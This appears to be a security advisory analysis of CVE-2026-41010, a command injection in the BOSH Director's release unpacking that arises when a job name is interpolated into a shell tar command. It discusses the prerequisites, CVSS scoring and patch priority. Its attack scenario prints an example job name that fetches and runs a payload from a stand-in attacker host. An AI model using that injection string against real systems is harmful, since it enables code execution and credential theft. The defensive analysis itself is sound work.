BOSH Director CVE-2026-41010

Exploitation requires (1) authenticated access to the BOSH Director with permission to upload a release (i.e., a UAA principal holding release-upload scope, per the CVSS PR:H rating), and (2) the ability to deliver a tarball whose release.MF jobs: array contains a name value with shell metacharacters such as $(), backticks, ;, or |. No user interaction by another operator is needed (UI:N), and no special non-default Director configuration is required - the vulnerable ReleaseJob#unpack code path is reached during normal release ingestion. Practical limits on exploitation are the privileged role required for release upload and AC:H/AT:P, which reflect that the attacker must produce a syntactically valid release manifest that survives upstream parsing before reaching the unsafe sh invocation.

CVSS 4.0 scores this 8.7 with vector AV:L/AC:H/AT:P/PR:H/UI:N - meaning the attack vector is rated Local, attack complexity High, an attack requirement is present, and high privileges are required, but impact across both the vulnerable system and subsequent (downstream) systems is High on confidentiality, integrity, and availability. The PR:H rating reflects that uploading a release to a BOSH Director normally requires an authenticated operator/CI account with release-upload rights, which materially narrows the threat population to insiders, compromised CI pipelines, or stolen UAA credentials. The AV:L rating is debatable in practice because release uploads typically traverse the Director's network API; defenders should treat the realistic vector as network-reachable-to-anyone-with-upload-rights and verify with the Cloud Foundry advisory. There is no EPSS score, KEV listing, or public POC referenced in the inputs, so this should be prioritized as a high-impact insider/supply-chain risk rather than a mass-exploitation emergency - but because successful exploitation yields code execution as the Director process (full control of deployments, credentials, and managed VMs), patching should still be expedited.

An attacker with release-upload privileges (e.g., a compromised CI token or a malicious operator) crafts a release tarball whose release.MF declares a job with a name like foo$(curl http://attacker/x|sh), then uploads it to the BOSH Director. When the Director unpacks the release, ReleaseJob#unpack interpolates the name into a tar shell command, /bin/sh evaluates the $() substitution, and the attacker's payload runs in the Director's security context - granting access to deployment credentials, IaaS API tokens, and the ability to pivot into managed VMs. No public exploit code was identified at time of analysis, but the vulnerable code path is documented in detail in the Cloud Foundry advisory.